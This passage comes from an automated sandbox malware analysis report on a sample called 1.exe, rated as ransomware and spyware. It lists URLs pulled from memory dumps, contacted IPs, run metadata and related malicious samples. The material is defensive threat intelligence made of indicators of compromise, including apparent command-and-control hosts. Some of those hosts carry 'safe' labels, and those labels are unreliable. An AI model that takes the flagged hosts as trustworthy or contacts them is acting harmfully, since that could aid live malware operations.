http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip.qq.com/v1-dll-api.jsdama.com	F7BE15F582DD9.exe, 00000002.00000003.2074240916.000000000634D000.00000004.00000020.00020000.00000000.sdmp, 6609QLNJK.dll.2.dr	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000003.00000002.3694301569.000001BDA8200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xianggangcs.oss-accelerate.aliyuncs.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kanzhun.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/I	F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003D72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/J	F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.GeeM2.com	F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ichuanglan.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ih5.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netease.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hichina.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/B	F7BE15F582DD9.exe, 00000002.00000002.4564756671.0000000003DC3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://huadongcs.oss-accelerate.aliyuncs.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/C	F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.Haom6.comhttp://www.GeeM2.comWemade	F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://www.solidot.org/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.m6dlq.com/	F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://www.huawei.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.212.11.147/	F7BE15F582DD9.exe, 00000002.00000003.2208709020.0000000008D17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.youth.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://119.29.29.29/d?dn=	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yidianzixun.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xunlei.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.GameM2.com	F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://www.imiker.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://shanghaics.oss-accelerate.aliyuncs.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca800.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bootcss.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xitongzhijia.net/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.eyuyan.com	F7BE15F582DD9.exe, 00000002.00000002.4602036796.000000000EAB2000.00000004.00000020.00020000.00000000.sdmp, 7D853zyts.dll.2.dr	false	Avira URL Cloud: safe	unknown
http://www.ctrip.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/Vn	F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008C4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xinics.oss-accelerate.aliyuncs.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://plugin1.config.hyocr.com:8080/apisvrs.php;http://plugin2.config.hyocr.com:8080/apisvrs.php	50C7CA7B7.dll.2.dr	false	Avira URL Cloud: safe	unknown
http://www.7k7k.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.212.11.147/http://8.212.11.147/8.212.11.147	F7BE15F582DD9.exe, 00000002.00000002.4497058864.0000000000547000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jdwx.info/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yiche.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.i4.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aq.cqyanzheng.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	F7BE15F582DD9.exe, 00000002.00000002.4572883601.000000000657C000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2600289840.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F.sys.2.dr, 4CE0zvyEH.sys.2.dr	false	Avira URL Cloud: safe	unknown
http://lusongsong.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.m6dlq.com/PEC2	F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ipo.hk/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://xiaoman.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zhangjiakoucs.oss-accelerate.aliyuncs.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dcloud.net.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://plugin.config.hyocr.com:8080/hyver.php?ver=%d&user=%s	50C7CA7B7.dll.2.dr	false	Avira URL Cloud: safe	unknown
http://www.LongZuYQ.com	F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://www.chuangkit.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sinacloud.net/operate/	F7BE15F582DD9.exe, 00000002.00000002.4572718478.000000000657A000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4570092396.000000000634C000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4570092396.0000000006340000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420815250.00000000115C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.iqiyi.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xm2m2.comwww.Askm2.comShanghai	F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://www.west.cn/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tower.im/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.miguvideo.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://daofeng.8090cqg.com/oF_	F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008CFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ip138.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hudong.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.Haom6.com	F7BE15F582DD9.exe, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://huanancs.oss-accelerate.aliyuncs.com/	1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.192.110.226	so.seos-lb.com	United States	55992	QIHOOBeijingQihuTechnologyCompanyLimitedCN	false
163.181.130.181	www.1688.com.danuoyi.tbcache.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
163.171.132.119	jd-abroad.cdn20.com	European Union	54994	QUANTILNETWORKSUS	false
27.221.16.179	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
183.2.172.185	www.a.shifen.com	China	58466	CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN	false
47.246.46.226	www.eastmoney.com.w.cdngslb.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
163.181.130.189	www.douyin.com.queniuyk.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
103.235.46.98	hao123.n.shifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
163.181.201.236	ww1.sinaimg.cn.w.alikunlun.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
103.235.46.96	unknown	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
45.194.34.240	g8450a5.usallient81.jiasula.vip	Seychelles	328608	Africa-on-Cloud-ASZA	false
163.181.201.231	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
119.28.109.132	www.sogou.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
43.159.70.125	qt0t6l4k.e0.sched.ovscdns.com	Japan	4249	LILLY-ASUS	false
163.171.208.133	www.cctv.com.wsglb0.com	European Union	54994	QUANTILNETWORKSUS	false
47.94.225.221	www.jmw.com.cn	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
111.124.200.101	youdao.com	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
113.219.142.35	opencdnka.jomodns.com	China	63838	CT-HUNAN-HENGYANG-IDCHengyangCN	false
49.51.65.181	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
123.125.23.221	lb.sinacloud.com	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
43.159.118.238	www.tencent.com.acc.edgeonedy1.com	Japan	4249	LILLY-ASUS	false
8.218.30.151	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
43.154.89.236	daofeng.8090cqg.com	Japan	4249	LILLY-ASUS	false
43.132.73.61	www.qq.com.eo.dnse2.com	Japan	4249	LILLY-ASUS	false
161.117.242.89	ap-southeast-1-ds-2085.oss-acc.aliyuncs.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
61.163.9.35	opencdnqczjv6.jomodns.com	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
27.221.16.149	sinacloud.net	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
8.218.87.7	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
43.132.80.175	dc3ee476.ovslegodl-dk.sched.ovscdns.com	Japan	4249	LILLY-ASUS	false
47.242.126.205	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
47.254.187.186	eu-central-1-ds-2088.oss-acc.aliyuncs.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
8.212.11.147	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
49.51.130.237	sh2.general.proxy.sogou.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
103.102.202.106	multi-az-www-api.kuaishou.com	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
120.26.110.170	foodmate.net	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
47.88.198.68	xjp-adns.aliyun.com.vipgds.alibabadns.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487923
Start date and time:	2024-08-05 11:58:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1.exe
Detection:	MAL
Classification:	mal100.rans.spyw.evad.winEXE@11/36@93/37
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 73% Number of executed functions: 54 Number of non-executed functions: 17
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 23.52.40.72, 23.52.40.67, 2.18.64.15, 2.18.64.26
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, www.iqiyiweb.akadns.net, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, iqiyi.com.edgekey.net, prod.fs.microsoft.com.akadns.net, e99042.a.akamaiedge.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:59:04	API Interceptor	3x Sleep call for process: svchost.exe modified
05:59:40	API Interceptor	15652580x Sleep call for process: F7BE15F582DD9.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.192.110.226	f2.exe	Get hash	malicious	BlackMoon	Browse	www.so.com/
	f1.exe	Get hash	malicious	Unknown	Browse	www.so.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.so.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.so.com/
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	www.so.com/
	SecuriteInfo.com.Win32.Trojan.Kryptik.HK@susp.11565.26013.exe	Get hash	malicious	Unknown	Browse	www.so.com/s?ie=utf-8&src=360se7_addr&q=%E5%BC%A0%E6%AF%85%E6%96%90
163.181.130.181	f2.exe	Get hash	malicious	BlackMoon	Browse	www.1688.com/
163.171.132.119	f2.exe	Get hash	malicious	BlackMoon	Browse	www.jd.com/
	f1.exe	Get hash	malicious	Unknown	Browse	www.jd.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.jd.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.jd.com/
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	www.jd.com/
	test.apk	Get hash	malicious	Unknown	Browse	www.estrongs.com/console/service/app_folder?v=175545&t=1
	test.apk	Get hash	malicious	Unknown	Browse	www.estrongs.com/console/service/app_folder?v=175545&t=1
27.221.16.179	f2.exe	Get hash	malicious	BlackMoon	Browse	sinacloud.net/operate/24624
	f1.exe	Get hash	malicious	Unknown	Browse	sinacloud.net/operate/24647
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	sinacloud.net/operate/24647
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	sinacloud.net/operate/24647

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
so.seos-lb.com	f2.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	f1.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	104.192.110.226
	SecuriteInfo.com.Win32.Trojan.Kryptik.HK@susp.11565.26013.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
